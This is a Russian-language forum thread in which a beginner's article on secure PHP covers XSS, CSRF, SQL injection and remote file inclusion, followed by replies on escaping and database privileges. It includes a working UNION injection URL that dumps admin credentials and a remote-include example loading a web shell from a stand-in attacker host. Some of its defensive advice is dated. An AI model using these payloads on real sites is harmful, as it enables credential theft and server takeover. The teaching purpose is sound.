+ Ответить в теме
Показано с 1 по 9 из 9

Тема: Безопасное PHP-программирование

  1. #1
    Джедай nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь
    Регистрация
    22.01.2005
    Сообщений
    3,753
    Поблагодарил(а)
    419
    Получено благодарностей: 1,257 (сообщений: 528).

    Exclamation Безопасное PHP-программирование

    Вместо введения

    Статья, в первую очередь, направлена на начинающих PHP-программистов. Также сразу оговорюсь, что тема далеко не нова, но знать все равно надо.

    Безопасное PHP-программирование

    Итак, разберем типичные атаки и методы противодействия им.


    1. XSS (cross site scripting, межсайтовый скриптинг). Уязвимость на сервере, позволяющая внедрить в генерируемую скриптами на сервере HTML-страницу (не в скрипт, в отличие от PHP-инклудинга, описанного ниже) произвольный код путём передачи его в качестве значения нефильтруемой переменной.

      Условно XSS делятся на активные и пассивные:

      Активные XSS: вредоносный скрипт хранится на сервере, и срабатывает в браузере жертвы, при открытии какой-либо страницы зараженного сайта;
      Как правило, какое-то поле не фильтровалось, как следовало бы, и теперь, при открытии страницы выполняется вредоносный скрипт.
      Чаще встречается в полях профиля пользователя, сообщениях форума, комментариях и т.п.

      Пассивные XSS: подразумевают, что скрипт не хранится на сервере уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для срабатывания пассивной XSS, требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например, клик по специально сформированной ссылке).
      Наиболее часто встречается в полях поиска сайта.

      Как правило, XSS используется для хищения cookies пользователя. Что за этим следует, думаю, расписывать не стоит.

      Как обезопаситься?

      Очень просто: ФИЛЬТРОВАТЬ. В этом помогут следующие функции языка PHP:

      strip_tags() — удаляет HTML и PHP тэги из строки;

      htmlspecialchars() — преобразует специальные символы в HTML сущности;

      htmlentities() — преобразует символы в соответствующие HTML сущности (более гибкий аналог htmlspecialchars());

      stripslashes() — удаляет экранирование символов, произведенное функцией addslashes(). Обычно используется в связке с проверочной функцией get_magic_quotes_gpc(), показывающей текущую установку конфигурации magic_quotes_gpc.

      Про то, что строго не рекомендуется хранить пароли в cookies, а пользователей запоминать не только по cookies но и по IP я упоминать не буду.


    2. CSRF (XSRF, Cross-Site Request Forgery, межсайтовая подделка запроса). Данный тип атак направлен на имитирование запроса пользователя к стороннему сайту. Уязвимость не столь популярна как XSS, однако, при все большем распространении технологии AJAX, популярность данного типа атак будет расти.

      Хотя, уже сейчас CSRF достаточно распространена из-за того, что многие web-приложения не определяют - действительно ли запрос сформирован настоящим пользователем.
      Интересный пример CSRF атаки был недавно обнаружен на сайте vkontakte.ru: http://www.habrahabr.ru/blog/webdev/37556.html.
      Более подробное описание этой атаки вы легко можете найти в сети.

      Как обезопаситься?


      • Добавление уникального параметра к каждому запросу, который затем проверяется сервером (может добавляться в виде скрытого hidden параметра формы при использовании POST-запроса, либо в URL, при использовании GET-запроса). Значение параметра может быть произвольным, например – значение сессии пользователя.
      • Проверка значения заголовка Referer (имеет ряд недостатков, например обработка запросов, не имеющих заголовка Referer как такового. Также, в некоторых ситуациях заголовок Referer может быть подделан).
      • Необходимость ввода пользовательского пароля при изменении критичных настроек.
      • CAPTCHA, тесты Тьюринга. (http://ru.wikipedia.org/wiki/Тест_Тьюринга)


    3. SQL-injection (SQL-инъекция). Один из самых распространённых и опасных способов взлома сайтов и программ, работающих с базами данных. Основан на внедрении в запрос произвольного SQL-кода.
      Принципиально данная атака возможна из-за плохой, а то и никакой, обработки входящих данных, используемых в SQL-запросах.

      Например:

      Код:
      $res = mysql_query("SELECT `field1`, `field2` FROM `table` WHERE `id` = '".$_GET['id ']."');
      В случае, если мы передадим в качестве параметра число 1: _http://site/?id=1, то получим следующий запрос к БД:

      Код:
      SELECT `field1`, `field2` FROM `table` WHERE `id` = '1'
      Но, если мы немного изменим передаваемый параметр, и представим его уже в таком виде:
      _http://site/?id=-1'+UNION+SELECT+username,password+FROM+admin/*

      То мы получим следующий запрос:

      Код:
      SELECT `field1`, `field2` FROM `table` WHERE `id` = '-1' UNION SELECT username,password FROM admin/*
      Последовательность /* комментирует, или другими словами отсекает, оставшийся запрос. С помощью оператора UNION, мы объединяем два запроса:

      Код:
      SELECT `field1`, `field2` FROM `table` WHERE `id` = '-1'
      и

      Код:
      SELECT username, password FROM admin
      Первый запрос ничего не вернет, так как в него мы передали заведомо несуществующее значение, а вот второй выведет нам значения username и password из таблицы admin. К чему это может привести также, думаю, объяснять не стоит.

      Помимо чтения данных из таблиц используемой БД, можно попытаться прочитать данные системных таблиц MySQL: mysql.users и узнать параметры доступа к БД.
      Также можно, с помощью оператора LOAD_FILE(), попытаться загрузить и прочитать файл, хранящийся на сервере (например, /etc/password), что тоже не несет ничего хорошего.

      Как обезопаситься:

      Все вышеописанное стало возможным из-за того, что мы не проверили первоначальное значение параметров $_GET['id '], передаваемых в запрос.

      Код:
      $res = mysql_query("SELECT `field1`, `field2` FROM `table` WHERE `id` = '".$_GET['id ']."');
      Следовательно, перед передачей параметров в скрипт нам надо отфильтровать и проверить полученные данные. Целые и дробные величины приводим к нужному типу, для строковых параметров экранируем кавычки.

      Функции PHP, используемые для фильтрации данных, аналогичны описанным выше, в пункте про XSS.

      $str=addslashes($str);
      mysql_escape_string($str)


    4. PHP-including (PHP-injection, внедрение PHP кода). Данный тип атак позволяет выполнять произвольный PHP код на атакуемой системе.

      Типичные примеры уязвимого скрипта выглядит следующим образом:

      Пример 1.
      Код:
      <?
      $page = ($_GET['page']); 
      include("/pages/$page");
      ?>
      Пример 2.
      Код:
      <?
      $page = ($_GET['page']); 
      include("$page");
      ?>

      Функция include() служит для того, чтобы прикреплять к PHP-коду новые модули на PHP.

      Различают два типа PHP-injection:

      Локальная PHP-injection (пример 1.): инъекция, при которой определен путь для сценария и не могут инклудиться файлы по http/ftp протоколу

      Глобальная PHP-injection (пример 2.): путь не определен и инклуд можно проводить удаленно.

      В примере 2. злоумышленнику достаточно создать на своем хосте PHP-файл с веб-шелом и передать в параметре к скрипту адрес данного шела (например, _http://site.ru/index.php?page=http://hacker.com/shell.php).

      Как обезопаситься?

      Решением проблемы является контроль переменной передаваемой в запросе к скрипту.

      Код:
      switch ($_GET['page']) {
      case news:
      include("news.php");
      break;
      
      case articles:
      include("articles.php");
      break;
      
      ... // и т.д.
      
      default:
      include("index.php"); /* если в переменной $_GET['page'] не будет передано значение, которое учтено выше, то открывается главная страница */
      break;
      }

      Также можно проверять файл на существование:

      Код:
      <? 
      .. 
      if (file_exists($_GET['page'])) { 
      Include($_GET['page']); 
      } 
      else { 
      echo "Error!"; 
      } 
      … 
      ?>
      Можно отфильтровать переменную на предмет возможности перехода в другие директории.

      Код:
      $page  = $_GET['page'];
      $page = str_replace("/","",$page);
      $page = str_replace(":","",$page); 
      $page = str_replace(".","",$page);
      Также рекомендуется в конфиге PHP устанавливать register_globals=off и allow_url_fopen=off


    Заключение

    В данной статье описаны наиболее распространенные атаки и методы защиты от них. Надеюсь, что для кого-нибудь моя статья окажется полезной, а те, кто не нашел в ней ничего нового… ну что же, зато Вы освежили в памяти свои знания, что так же полезно! (:

    P.S.: конечно же жду дополнений и поправок.

    2008 © nons
    Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.

  2. #2
    Новичок [vs] кто это?
    Регистрация
    25.08.2008
    Сообщений
    21
    Поблагодарил(а)
    0
    Получено благодарностей: 0 (сообщений: 0).

    По умолчанию

    Кроме функции mysql_escape_string существует функция mysql_real_escape_string, которую использовать предпочтительнее, т.е. mysql_escape_string может некоректно работать с некоторыми кодировками.
    Про то, что строго не рекомендуется хранить пароли в cookies, а пользователей запоминать не только по cookies но и по IP я упоминать не буду.
    В принципе, можно ставить куку с хэшем ID_пользователя+IP+User-Agent.

  3. #3
    Валерий Сальников salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу Аватар для salnickov
    Регистрация
    28.04.2008
    Адрес
    Энергетик
    Сообщений
    10,810
    Поблагодарил(а)
    4,132
    Получено благодарностей: 8,895 (сообщений: 4,055).

    По умолчанию

    Могу лишь порекомендовать отличную книжку Михаила Фленова "PHP глазами хакера", ну и почаще наведываться на http://www.securitylab.ru/. А главное НЕ ИСПОЛЬЗОВАТЬ В СЕРЬЕЗНОЙ РАБОТЕ ЧУЖОЙ КОД, типа готовых CMS и форумов, или, не дай бог, магазинов.

    Добавлено через 2 минуты
    И не хранить phpmyadmin в папке mysite.com/phpmyadmin/
    Последний раз редактировалось salnickov; 06.06.2009 в 18:34. Причина: Добавлено сообщение
    Не пей, братец, козленочком станешь

  4. #4
    Валерий Сальников salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу Аватар для salnickov
    Регистрация
    28.04.2008
    Адрес
    Энергетик
    Сообщений
    10,810
    Поблагодарил(а)
    4,132
    Получено благодарностей: 8,895 (сообщений: 4,055).

    По умолчанию

    Недавними событиями навеяно.

    Если условия работы сайта не предполагают занесение каких либо данных в таблицу обычными пользователями, например на сайте отсутствует комментирование, то наверное есть смысл для админской и публичной части создать разных пользователей БД. Публичному пользователю разрешить только SELECT. И тогда, если у вас и найдут дырку в безопасности и получат доступ к sql запросам, то на этом все и закончится. Ничего кроме получения информации злоумышленник сделать не сможет. А мы ведь не храним в таблице пароли в открытом виде? Так что ничего страшного. Пусть смотрит.
    Не пей, братец, козленочком станешь

  5. #5
    Джедай nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь
    Регистрация
    22.01.2005
    Сообщений
    3,753
    Поблагодарил(а)
    419
    Получено благодарностей: 1,257 (сообщений: 528).

    По умолчанию

    и оставить LOAD_FILE() и into file если ничего не фильтруется.
    Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.

  6. #6
    Валерий Сальников salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу Аватар для salnickov
    Регистрация
    28.04.2008
    Адрес
    Энергетик
    Сообщений
    10,810
    Поблагодарил(а)
    4,132
    Получено благодарностей: 8,895 (сообщений: 4,055).

    По умолчанию

    Цитата Сообщение от nons Посмотреть сообщение
    и оставить LOAD_FILE() и into file если ничего не фильтруется.
    гыы, ну да, ну да ;)
    Не пей, братец, козленочком станешь

  7. #7
    Кандидат в умники ratman кто это? Аватар для ratman
    Регистрация
    26.04.2009
    Адрес
    г.Братск (Центр)
    Сообщений
    378
    Поблагодарил(а)
    10
    Получено благодарностей: 44 (сообщений: 28).

    По умолчанию

    В принципе, можно ставить куку с хэшем ID_пользователя+IP+User-Agent.
    IP может быть очень динамическим или одним на всю дивизию (файлообменники ой как этим страдают, в смысле бана по IP), а агентов у меня 5 штук не считая пиявок. Остается ID. Как его считать - дело десятое, хоть md5 от пароля.
    Ну и зачем куками мусорить, сессию за пользователем тащить не проще?

    Вот что меня сильно нервирует, так это отсутствие контроля типов. Половина проблем бы отвалилась на фильтрации вводимых данных.

    Добавлено через 21 минуту
    Цитата Сообщение от salnickov Посмотреть сообщение
    Недавними событиями навеяно.

    Если условия работы сайта не предполагают занесение каких либо данных в таблицу обычными пользователями, например на сайте отсутствует комментирование, то наверное есть смысл для админской и публичной части создать разных пользователей БД. Публичному пользователю разрешить только SELECT. И тогда, если у вас и найдут дырку в безопасности и получат доступ к sql запросам, то на этом все и закончится. Ничего кроме получения информации злоумышленник сделать не сможет. А мы ведь не храним в таблице пароли в открытом виде? Так что ничего страшного. Пусть смотрит.
    Это получится хомяк из трех экранов. А оно не интересно, скучно. Стоит только добавить поле для текстового ввода (поиск, например), сразу же появляется дыра.
    Последний раз редактировалось ratman; 24.06.2009 в 11:43. Причина: Добавлено сообщение

  8. #8
    Валерий Сальников salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу salnickov Лечу Аватар для salnickov
    Регистрация
    28.04.2008
    Адрес
    Энергетик
    Сообщений
    10,810
    Поблагодарил(а)
    4,132
    Получено благодарностей: 8,895 (сообщений: 4,055).

    По умолчанию

    Цитата Сообщение от ratman Посмотреть сообщение
    Вот что меня сильно нервирует, так это отсутствие контроля типов. Половина проблем бы отвалилась на фильтрации вводимых данных.
    Это как понимать отсутствие? Я ставлю на входе is_numeric(), не помню уже почему is_int() меня не устроил. И все в принципе. Если переменная не число то посылаю запрос нафиг. С текстовыми полями тоже не проблема. Проблема в том, чтобы не забыть все это поставить на место куда надо. Программ без ошибок не бывает. Надо не забывать и тестить. Последний раз был на сто процентов уверен, что везде проверка стоит и... получил дырку. Нельзя ни в чем быть уверенным, однако )
    Не пей, братец, козленочком станешь

  9. #9
    Джедай nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь nons Трогаюсь
    Регистрация
    22.01.2005
    Сообщений
    3,753
    Поблагодарил(а)
    419
    Получено благодарностей: 1,257 (сообщений: 528).

    По умолчанию

    каких-то откровений в статье нет, однако рекомендую ознакомиться всем.

    http://help.yandex.ru/webmaster/?id=1071330

    Статья опубликована с разрешения Sophos Plc.

    В этом документе рассказывается о распространенных способах атаки веб-серверов, а также различных методах защиты веб-серверов и размещаемых на них веб-сайтов.

    Автор: Крис Митчелл, SophosLabs Australia chris.mitchell@sophos.com

    Перевод: Артем Конев archiekonev@yandex.ru
    Телевизор — это просто маленькое прозрачное окошко в трубе духовного мусоропровода. © В. Пелевин.

  10. 1 пользователь сказал cпасибо nons за это полезное сообщение:

    salnickov (08.08.2009)

+ Ответить в теме

Информация о теме

Пользователи, просматривающие эту тему

Эту тему просматривают: 1 (пользователей: 0 , гостей: 1)

     

Похожие темы

  1. Программирование
    от Putnik в разделе Работа, найм, образование
    Ответов: 0
    Последнее сообщение: 12.11.2006, 13:41

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
Рейтинг@Mail.ru
Администрация сайта не выражает согласия
с высказыванием участников форума и не несет
ответственности за их содержание.

Копирование любого материала возможно только
при наличии ссылки на сайт.